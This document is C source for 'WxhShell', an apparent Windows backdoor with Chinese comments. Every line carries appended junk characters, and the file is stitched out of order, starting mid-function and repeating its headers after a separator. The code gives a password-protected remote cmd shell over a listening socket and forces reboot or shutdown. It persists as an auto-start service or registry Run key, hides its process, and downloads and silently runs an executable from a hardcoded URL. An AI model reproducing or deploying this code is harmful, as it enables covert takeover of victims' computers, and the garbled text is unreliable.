    closesocket(wsh); B5zu?AG  
    ExitThread(0); 76mQ$ze  
    } c i_XcG  
    break; (9fqUbG  
    } V5qvH"^  
  // 关机 2EycFjO  
  case 'd': { pkjL2U:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mS&[<[x  
    if(Boot(SHUTDOWN)) "xdXHuX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >77 /e@  
    else { u23^* -  
    closesocket(wsh); 6>SP5|GG  
    ExitThread(0); )Xl/|YD  
    } -Ufd+(   
    break; t 0nGZ%`  
    } L8/o9N1  
  // 获取shell j}#48{  
  case 's': { 3Ki`W!C  
    CmdShell(wsh); i1\xZ<|0  
    closesocket(wsh); |Tf}8e  
    ExitThread(0); 9@:H9" w  
    break; =36vsps=  
  } | z$ba:u5  
  // 退出 9%> H}7=  
  case 'x': { &}YB!6k h^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6./h0kD`  
    CloseIt(wsh); ShF ][v1L  
    break; E6y/,s^~S_  
    } gB71~A{J  
  // 离开 Xe:B*  
  case 'q': { nBWrkVX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?U iwr{Q  
    closesocket(wsh); DU({Ncge  
    WSACleanup(); ?R;5ErZ  
    exit(1); #Z98D9Pv`o  
    break; DUM,dFIlvF  
        } >.\G/'\?  
  } Ep.,2H  
  } #xm<|s   
Cdot l$'  
  // 提示信息 D0us<9q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =@G#c5H*  
} ?b^VEp.;}  
  } t`Mm  
TB*g$ *  
  return; 1CFrV=d  
}  &5O  
4~ZQsw `  
// shell模块句柄 #W~5M ?+  
int CmdShell(SOCKET sock) -Z4J?b  
{ FWq 6e,  
STARTUPINFO si; 0r_8/|N#  
ZeroMemory(&si,sizeof(si)); /^P^K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;!Ojb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T,`'qZ>  
PROCESS_INFORMATION ProcessInfo; MDGcK/$')f  
char cmdline[]="cmd"; aVO5zR./)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]J~37 35]  
  return 0; s~IOc%3  
} N 2L/A  
D3HE~zkI  
// 自身启动模式 Y^2`)':  
int StartFromService(void) {!o-y=  
{ Qh? E* 9  
typedef struct p%]* I?  
{ de[c3!#1d  
  DWORD ExitStatus; 4ME8NEE  
  DWORD PebBaseAddress;  C!Y|k.`p  
  DWORD AffinityMask; {{tH$j?Q  
  DWORD BasePriority; G>YJ3p7  
  ULONG UniqueProcessId; DSizr4R  
  ULONG InheritedFromUniqueProcessId; *;,=x<  
}   PROCESS_BASIC_INFORMATION; fP&F$"o8  
d[kb]lC  
PROCNTQSIP NtQueryInformationProcess; *P61q\2Z  
i"F'n0*L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +r2E5s   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f8lBxK  
4)]g=-3  
  HANDLE             hProcess; Olj]A]v}  
  PROCESS_BASIC_INFORMATION pbi; n&r-  
e\%QHoi>u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y~SFlv36  
  if(NULL == hInst ) return 0; O->i>d  
Z?ZcQ[eC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x98LOO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e,Gv~ae9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G"5Nj3v d  
6@]Xwq  
  if (!NtQueryInformationProcess) return 0; Y H 2i V  
":Kn@S'{(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N`8!h:yL  
  if(!hProcess) return 0; nbMH:UY,J  
Bag2sk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $Y,,e3R3  
+&4PGv53J  
  CloseHandle(hProcess); E,c~.jYc  
f8#WT$Ewy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6!n"E@Bwu  
if(hProcess==NULL) return 0; L`R,4mI.W  
CbQ@l@d]  
HMODULE hMod; [YHvyfk~_  
char procName[255]; eG"iJ%I  
unsigned long cbNeeded; q&<#)#+  
/q uf'CV}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "f!*%SR: 1  
c72Oy+#  
  CloseHandle(hProcess); ~BERs;4  
\xDu#/^  
if(strstr(procName,"services")) return 1; // 以服务启动 [9BlP  
"2HRuqf  
  return 0; // 注册表启动 d%t]:41=Z  
} umcbIi('  
$- =aqUU  
// 主模块 T55l-.>  
int StartWxhshell(LPSTR lpCmdLine) )_GM&-  
{ ]WWre},  
  SOCKET wsl; !Ya +  
BOOL val=TRUE; ~_8Ve\Y^/  
  int port=0; B 0 K2Uw  
  struct sockaddr_in door; at,Xad\j  
tPO.^  
  if(wscfg.ws_autoins) Install(); ?9H7Twi+T  
x^+ C[%  
port=atoi(lpCmdLine); L]K*Do  
iJ?8)}  
if(port<=0) port=wscfg.ws_port; Q, #M 0  
'x+0 yd  
  WSADATA data; Pu/0<Orp7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }td+F&l($V  
UM|GX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >B8)Wb :  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2mu~hJ  
  door.sin_family = AF_INET; f#eTi&w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AA>5h<NM  
  door.sin_port = htons(port); Wn0r[h5t  
<Ks?g=K-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eb9qg.9Z  
closesocket(wsl); n 8AND0a1C  
return 1; u%XFFt5  
} @]3(l  
nXi6Q+YI  
  if(listen(wsl,2) == INVALID_SOCKET) { }K<;ygcWE@  
closesocket(wsl); ?=r!b{9  
return 1; {D."A$AAa  
} 5CU< ?  
  Wxhshell(wsl); '3+S5p8  
  WSACleanup(); R#Bt!RNZ  
D.*JG7;=Z  
return 0; P%ZWm=lg  
GdG%=+  
} ngeX+@  
EF"ar  
// 以NT服务方式启动 T?AGQcG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y1`.  
{ s$H5W`3  
DWORD   status = 0;  %ef+Z  
  DWORD   specificError = 0xfffffff; Mh~T.;f.qq  
V9Au\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MYN1zYT6j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8^dGI9N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L'aMXNO  
  serviceStatus.dwWin32ExitCode     = 0; $ZcmE<7k  
  serviceStatus.dwServiceSpecificExitCode = 0; ^jf$V #z0/  
  serviceStatus.dwCheckPoint       = 0; y*uL,WH  
  serviceStatus.dwWaitHint       = 0; \?3];+c9  
/3KEX{'@U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yA%[ u.{  
  if (hServiceStatusHandle==0) return; ~@'|R%jJ  
JSGUl4N  
status = GetLastError(); De>pIN;B>  
  if (status!=NO_ERROR) RK rBHqh@  
{ cLR8U1k'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ae ue:u>  
    serviceStatus.dwCheckPoint       = 0; M\`6H8aLn  
    serviceStatus.dwWaitHint       = 0; f{3FoN= z  
    serviceStatus.dwWin32ExitCode     = status; QO#ZQ~  
    serviceStatus.dwServiceSpecificExitCode = specificError; ARQ1H0_B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8$G$Rdn  
    return; i3e|j(Gs4  
  } *,'"\n  
t8?+yG;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; []dRDe;#  
  serviceStatus.dwCheckPoint       = 0; c#HocwP@  
  serviceStatus.dwWaitHint       = 0; 5~rs55W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $<ZX};/D  
} ~gBqkZ# y?  
wV5<sH__  
// 处理NT服务事件,比如:启动、停止 A=XM(2{aN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A)`M*(~  
{ ][?GJ"O+U  
switch(fdwControl) Z<&: W8n  
{ TzK?bbgr!  
case SERVICE_CONTROL_STOP: HH+rib'u  
  serviceStatus.dwWin32ExitCode = 0; xPb`CY7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C{2 UPG4x  
  serviceStatus.dwCheckPoint   = 0; |9_e2OwH  
  serviceStatus.dwWaitHint     = 0; 8uI^ B  
  { VJ=!0v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IgFz[)  
  } 9R ugkGy  
  return; Z>M*!mQi  
case SERVICE_CONTROL_PAUSE: ZT^PL3j+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [Xz7.<0#U  
  break; Mm/GI a  
case SERVICE_CONTROL_CONTINUE: O$&p<~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n"dT^ g  
  break; ,9A[o`b  
case SERVICE_CONTROL_INTERROGATE: PMrvUM62  
  break; Nm; ka&'  
}; Q2fa]*Z5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {?m',sG;&  
} 5@v!wms  
<?Lj!JGX  
// 标准应用程序主函数 aX~iY ~?_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Eydk64 5:3  
{ i, )kI  
F'*{Fk h  
// 获取操作系统版本 ;c;;cJc!  
OsIsNt=GetOsVer(); ]]7s9PCN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CX1'B0=\r  
'E7|L@X"r  
  // 从命令行安装 \7/xb{z|  
  if(strpbrk(lpCmdLine,"iI")) Install(); DAvAozM  
9k *'5(D4S  
  // 下载执行文件 PMTyiwlm  
if(wscfg.ws_downexe) { UhEnW8^bz1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wEkW=  
  WinExec(wscfg.ws_filenam,SW_HIDE); W0nRUAo[  
} BRW   
QTLOP~^  
if(!OsIsNt) { sX**'cH  
// 如果时win9x,隐藏进程并且设置为注册表启动 }2h~o~  
HideProc(); YE^|G,]  
StartWxhshell(lpCmdLine); Ybok[5  
} 6~2!ZU  
else H7\EvIM=  
  if(StartFromService()) ;ga~ae=Fg  
  // 以服务方式启动 RWoa'lnu  
  StartServiceCtrlDispatcher(DispatchTable); C"F(kgL  
else 8<g5.$xyz  
  // 普通方式启动 #cmj?y()  
  StartWxhshell(lpCmdLine); 7,(:vjIXd  
].Et&v  
return 0; \?GMtM,  
} zb9$  
7%?A0%>6G  
y t<K!=7&  
^ 5UIbA(  
=========================================== Qb SX'mx<  
c5t?S@b  
#=zh&`  
U9;AU] A  
Uq[NO JC  
H>W A?4  
" p oNQ<ijK  
zx\?cF  
#include <stdio.h> z}pdcQl#  
#include <string.h> l9SbuT$U  
#include <windows.h> ci*Z9&eS+  
#include <winsock2.h> X"[c[YT!%[  
#include <winsvc.h> >Ks|yNJ  
#include <urlmon.h> #|gt(p]C  
S(rA96n  
#pragma comment (lib, "Ws2_32.lib") tt`b+NOH>  
#pragma comment (lib, "urlmon.lib") m"xw5aa>  
Z$+0gm\Cnw  
#define MAX_USER   100 // 最大客户端连接数 \a}%/_M\  
#define BUF_SOCK   200 // sock buffer ffSecoX  
#define KEY_BUFF   255 // 输入 buffer Rr:,'cXGi  
3 UBG?%!$f  
#define REBOOT     0   // 重启 & }}o9  
#define SHUTDOWN   1   // 关机 ,H.q%!{h_  
q5QYp  
#define DEF_PORT   5000 // 监听端口 P+o ZS  
#Ok*O r  
#define REG_LEN     16   // 注册表键长度 *xt3mv/<z  
#define SVC_LEN     80   // NT服务名长度 OHH wcJ7N  
<S5Am%vo  
// 从dll定义API  G#K=n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qs*g)Yr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y.=v!*p?}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M3x%D)*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O[q {y  
dx:],VB  
// wxhshell配置信息 6R#f 8  
struct WSCFG { -x7b6o>$  
  int ws_port;         // 监听端口 [['un\~r~  
  char ws_passstr[REG_LEN]; // 口令 s_VP(Fe@K  
  int ws_autoins;       // 安装标记, 1=yes 0=no uZg Kex;c  
  char ws_regname[REG_LEN]; // 注册表键名 =cg0o_q8  
  char ws_svcname[REG_LEN]; // 服务名 rbs:qLa%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,qt9S0 QS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,AWN *OS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Joe k4t&0<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \J:/l|h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l*/I ; a$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @@_f''f$  
@Vc*JEW  
}; H}X3nl\]  
{bl^O  
// default Wxhshell configuration rFdovfb   
struct WSCFG wscfg={DEF_PORT, R~;<}!Gtx  
    "xuhuanlingzhe", nKufVe  
    1, tE- s/  
    "Wxhshell", YW0UIO  
    "Wxhshell", :X/j%m*  
            "WxhShell Service", 1_*o(HR  
    "Wrsky Windows CmdShell Service", IU/dY`J1  
    "Please Input Your Password: ", vJ }^ p }  
  1, ;aWH`^{i  
  "http://www.wrsky.com/wxhshell.exe", .J'}qkz~  
  "Wxhshell.exe" X >C*(/a  
    }; fY$M**/,  
jj.iW@m  
// 消息定义模块 !{"{(h)+@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GuNzrKDr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b=`h""u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xR\$2(  
char *msg_ws_ext="\n\rExit."; 27G6C`}  
char *msg_ws_end="\n\rQuit."; 0Ocy$  
char *msg_ws_boot="\n\rReboot..."; t%V!SvT8+  
char *msg_ws_poff="\n\rShutdown..."; ;ukwKf s  
char *msg_ws_down="\n\rSave to "; 9:IVSD&"Rf  
GnkNoaU  
char *msg_ws_err="\n\rErr!"; "\)j=MI8u+  
char *msg_ws_ok="\n\rOK!"; &8z`]mB{t  
n<uF9N<   
char ExeFile[MAX_PATH]; 4tof[n3us  
int nUser = 0; z45ImItH  
HANDLE handles[MAX_USER]; q:+,'&<D  
int OsIsNt; uI!rJc>TX  
PW~+=,  
SERVICE_STATUS       serviceStatus; V8 }yK$4b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nB WVG  
p,Qr9p3y  
// 函数声明 >@rsh-Z  
int Install(void); 2 D>WIOX  
int Uninstall(void); 5iwJdm  
int DownloadFile(char *sURL, SOCKET wsh); L "P$LEk  
int Boot(int flag); SBg BZm}%  
void HideProc(void); 3g`uLA X>u  
int GetOsVer(void); :q<8:,rP  
int Wxhshell(SOCKET wsl); 00[Uk'Q*5  
void TalkWithClient(void *cs); n0:'h}^  
int CmdShell(SOCKET sock); a2SMNC]  
int StartFromService(void); xJ:15eDC  
int StartWxhshell(LPSTR lpCmdLine); LaG./+IP  
pMe'fC~*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MOKg[ j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0V@u]  
Cq(dj^/~m  
// 数据结构和表定义 mADq_` j  
SERVICE_TABLE_ENTRY DispatchTable[] = mw-0n  
{ 9,sj,A1  
{wscfg.ws_svcname, NTServiceMain}, wKIQK!B)mF  
{NULL, NULL} =c"`>Vi@d  
}; '%vb&a!.6  
5IE2&V  
// 自我安装 tXV9+AJ  
int Install(void) NiQ`,Q$B  
{ ?| s1Cuc  
  char svExeFile[MAX_PATH]; [I^>ji0V  
  HKEY key; imv[xBA(d  
  strcpy(svExeFile,ExeFile); l\I#^N  
`lX |yy"  
// 如果是win9x系统,修改注册表设为自启动 /GD4GWv :  
if(!OsIsNt) { yZj:Kp+7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =* oFs|v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KuL2X@)}  
  RegCloseKey(key); ^2rNty,nH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s`B]+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !`LaX!bmp  
  RegCloseKey(key); 4C\>JGZvq  
  return 0; }(4U7Ac  
    } ]h3<r8D_#  
  } S='AA_jnw  
} rlEEf/m:  
else { o{f|==<t3#  
ACxOC2\n  
// 如果是NT以上系统,安装为系统服务 q|;_G#4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 61L  vT"  
if (schSCManager!=0) 8QDs4Bv|  
{ U` uP^  
  SC_HANDLE schService = CreateService r BQFC 4L  
  ( 7=(r k  
  schSCManager, rJ|Q%utYz  
  wscfg.ws_svcname, fl#gWAM  
  wscfg.ws_svcdisp, (Z;;v|F.i=  
  SERVICE_ALL_ACCESS, <5X?6*Qvr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r~&"D#)sy  
  SERVICE_AUTO_START, SAMP,un7  
  SERVICE_ERROR_NORMAL, ;jS2bc:8a  
  svExeFile, FR&4i" +  
  NULL, YNyaz\L  
  NULL, Y_tLSOD#/  
  NULL, veIR)i@dx  
  NULL, %xF j;U?  
  NULL (&HAjB  
  ); pLjet~2}iJ  
  if (schService!=0) ~47Bbom  
  { >{?~cNO&  
  CloseServiceHandle(schService); _H@Y%"ZHJ6  
  CloseServiceHandle(schSCManager); 5N<f\W,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 78zjC6}`  
  strcat(svExeFile,wscfg.ws_svcname); (hWr!(>C4]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \n$s5i-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W/q-^Zkt,9  
  RegCloseKey(key); <+I^K 7   
  return 0; &.J8O+  
    } INtt0Cm9"  
  } cVya~ *  
  CloseServiceHandle(schSCManager); *y<Ru:D  
} __o`+^FS  
} ]wFKXZeK  
H'7AIY }  
return 1; |W4 \  
} hqrI%%  
S81Z\=eK  
// 自我卸载 +EK(r@eV  
int Uninstall(void) 5{/CqUIl  
{ XHU&ix{Od  
  HKEY key; uTgBnv(Y*  
_yk} [x0>  
if(!OsIsNt) { M0VC-\W7f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U  ?'$E\  
  RegDeleteValue(key,wscfg.ws_regname); E`s9SE  
  RegCloseKey(key); 3jR,lEJyj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GPlAQk  
  RegDeleteValue(key,wscfg.ws_regname); :?W {vV  
  RegCloseKey(key); OjO$.ecT  
  return 0; jyQ Bx  
  } ?|!167/O  
} /^ *GoB  
} 3 d $  
else { _%^t[4)q  
Z)}q=NjA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y Nb&;E7 H  
if (schSCManager!=0) .I\)1kjX  
{ hDa I@_86  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *%< Ku&C  
  if (schService!=0) YF/@]6j  
  { {T|sU\|Q  
  if(DeleteService(schService)!=0) { ZfalB  
  CloseServiceHandle(schService); uX_A4ht*  
  CloseServiceHandle(schSCManager); . +_IpygQ  
  return 0; G tI]6t  
  } j$r.&,m  
  CloseServiceHandle(schService); B198_T!  
  } +bK[3KG4F5  
  CloseServiceHandle(schSCManager); f5D.wSY  
} [)UF@Sq4+Q  
} xHEkmL`)4  
2B&Yw  
return 1; .s$#: ls?  
} ^,S\-Uy9  
d.y2`wT  
// 从指定url下载文件 6ExUNp @U>  
int DownloadFile(char *sURL, SOCKET wsh) a,X=!oJ  
{ lOp/kGmn+  
  HRESULT hr; Z-[nHSf  
char seps[]= "/"; cy)b/4h@  
char *token; R:=C  
char *file;  FkJa+ZA  
char myURL[MAX_PATH]; Kp,}7%hDw!  
char myFILE[MAX_PATH]; #k? Rl  
;-84cpfu  
strcpy(myURL,sURL); N,v4SIC@  
  token=strtok(myURL,seps); *;A I0  
  while(token!=NULL) Q]X0 O10  
  { XvBEC_xWZ  
    file=token; "h.}o DS  
  token=strtok(NULL,seps); "o#N6Qu71  
  } -f?Rr:#  
B@!a@0,,_  
GetCurrentDirectory(MAX_PATH,myFILE); )Y':u_Lo  
strcat(myFILE, "\\"); ),`MAevp  
strcat(myFILE, file); bqY}t. Y&"  
  send(wsh,myFILE,strlen(myFILE),0); 0 [6llcuj  
send(wsh,"...",3,0); xTQV?g J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,Ie~zZE&  
  if(hr==S_OK) *8k`m)h26  
return 0; f M 8kS  
else .N~qpynY  
return 1; a(CZGIB  
p '{ `Uvr  
} $t5 0<1  
G3QB Rh{  
// 系统电源模块  /bA\O   
int Boot(int flag) y@g{:/cmO  
{ g;en_~g3j  
  HANDLE hToken; K]dqK'  
  TOKEN_PRIVILEGES tkp; DJgk"'  
Gjuc"JR7  
  if(OsIsNt) { AfvTStwr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?QO)b9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Re?sopg0r  
    tkp.PrivilegeCount = 1; 20gPx;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YN 4P >d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2c fzLW(  
if(flag==REBOOT) {  N3^pFy`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #|*;~:fz  
  return 0; }8Wp X2U  
} #r 1 $=GY  
else { z79L2lJn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :6LOb f\01  
  return 0; cqeId&Cg  
} G-oC A1UdN  
  } b><jhbv  
  else { M"F?'zTkJ  
if(flag==REBOOT) { ?!(/;RU1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W.p->,N  
  return 0; GV)#>PL  
} e 1{t qNJ  
else { QQ@, v@j5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G}i\UXFE  
  return 0; , 6\i  
} v}dt**l  
} o*/\ oVOq  
l ,)l"6OV  
return 1; g92M\5 x9  
} S4<@ji  
| (P%<  
// win9x进程隐藏模块 P,AS`=z  
void HideProc(void) 9\TvX!)h  
{ `h5HA-ud  
`g% ]z@'+?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o)n8,k&nm  
  if ( hKernel != NULL ) pPCxa#OV  
  { $V?zJ:a>L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T,(IdVlJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Rz`<E97-  
    FreeLibrary(hKernel); P&| =  
  } 9<<$uf.B  
fT._Os?i  
return; ,IuO;UV#)  
} YkPz ~;  
Y'/`?CK  
// 获取操作系统版本 .^#{rk  
int GetOsVer(void) 'N='B<^;%  
{ eFXxkWR)  
  OSVERSIONINFO winfo; U._ U!U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M@!Gk  
  GetVersionEx(&winfo); ]Ke|wRQD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k}>l+_*+7  
  return 1; )ACa0V>*p  
  else vJ GxD\h  
  return 0; v Xio1hu  
} [k-7Kq  
m|~,#d@  
// 客户端句柄模块 f]$ g9H  
int Wxhshell(SOCKET wsl) %H<w.]>  
{ _KmpC>J+  
  SOCKET wsh; ~2@U85"o  
  struct sockaddr_in client; K *vNv 4  
  DWORD myID; /Re1QS  
UkNC|#l)  
  while(nUser<MAX_USER) H#U{i  
{ aC3\Hs  
  int nSize=sizeof(client); avO+1<`4B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ABhza|  
  if(wsh==INVALID_SOCKET) return 1; vo Q,K9  
oBqP^uT>a|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6z%3l7#7Yi  
if(handles[nUser]==0) %n}fkj'  
  closesocket(wsh); { KwLcSn  
else /7S]%UY  
  nUser++; R$,`}@VqZ3  
  } nq/xD;q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?0[%+AD hM  
&[cL%pP  
  return 0; w])~m1yW  
} [$[t.m  
ieBW 0eMi  
// 关闭 socket >;xEzc!W3*  
void CloseIt(SOCKET wsh) rF~q"9  
{ .U5+PQN  
closesocket(wsh); Zz?+,-$_*&  
nUser--; }WI24|`zM  
ExitThread(0); 86%weU/*  
} n^&QOII@>  
8x,;B_Zu  
// 客户端请求句柄 9U}EVpD  
void TalkWithClient(void *cs) (-dJ0!  
{ ,eUMSg~P.7  
vo7 1T<K  
  SOCKET wsh=(SOCKET)cs; fil6w</L  
  char pwd[SVC_LEN]; 73}k[e7e  
  char cmd[KEY_BUFF]; /Z2*>7HM8[  
char chr[1]; qWE"vI22M  
int i,j; nj7Ri=lyS  
Z/-%Eb]L1  
  while (nUser < MAX_USER) { \ vJ*3H6  
vy|}\%*r~  
if(wscfg.ws_passstr) { Bl`e+&b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6w1:3~a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kyl(  
  //ZeroMemory(pwd,KEY_BUFF); dje3&a  
      i=0; )0}obPp  
  while(i<SVC_LEN) { {7/6~\'/@  
b:O4d<+%  
  // 设置超时 <Isr  
  fd_set FdRead; y Fp1@*ef  
  struct timeval TimeOut; *"zE,Bp"  
  FD_ZERO(&FdRead);  iI ^{OD  
  FD_SET(wsh,&FdRead); (/*-M]>  
  TimeOut.tv_sec=8; _4E+7+  
  TimeOut.tv_usec=0; 3^ Z tIZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tQ&#FFt,)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uDoSe^0  
fs)O7x-B(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9(X *[X#  
  pwd=chr[0];  %;W8;  
  if(chr[0]==0xd || chr[0]==0xa) { Ue,"CQ6H  
  pwd=0; ! h4So4p  
  break; ^Ws~h\{%  
  } um8ZhXq  
  i++; N@d4)  
    } fZ %ZV  
YYM  
  // 如果是非法用户,关闭 socket (U.&[B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O0$ijJa|  
} hR`dRbBi%  
R>0ta  Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m",bfZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?5GjH~  
*@BBlkcx  
while(1) { (Q&z1XK3  
\Fj4Gy?MW  
  ZeroMemory(cmd,KEY_BUFF); [FCNW0NV  
Bf* F ^  
      // 自动支持客户端 telnet标准   SfR!q4b=  
  j=0; )7`~U"r  
  while(j<KEY_BUFF) { 0>?mF]M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~~fL`"  
  cmd[j]=chr[0]; ?b7vc^E&  
  if(chr[0]==0xa || chr[0]==0xd) { gTQ6B,`/8  
  cmd[j]=0; Xs?>6i@$$  
  break; rU~"A  
  } GYs4#40  
  j++; 4%6Q+LS']Q  
    } VI+Y4T@  
ePY K^D  
  // 下载文件 ~ ZDdzp>  
  if(strstr(cmd,"http://")) { tllg$CQ5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qzmZ/z96  
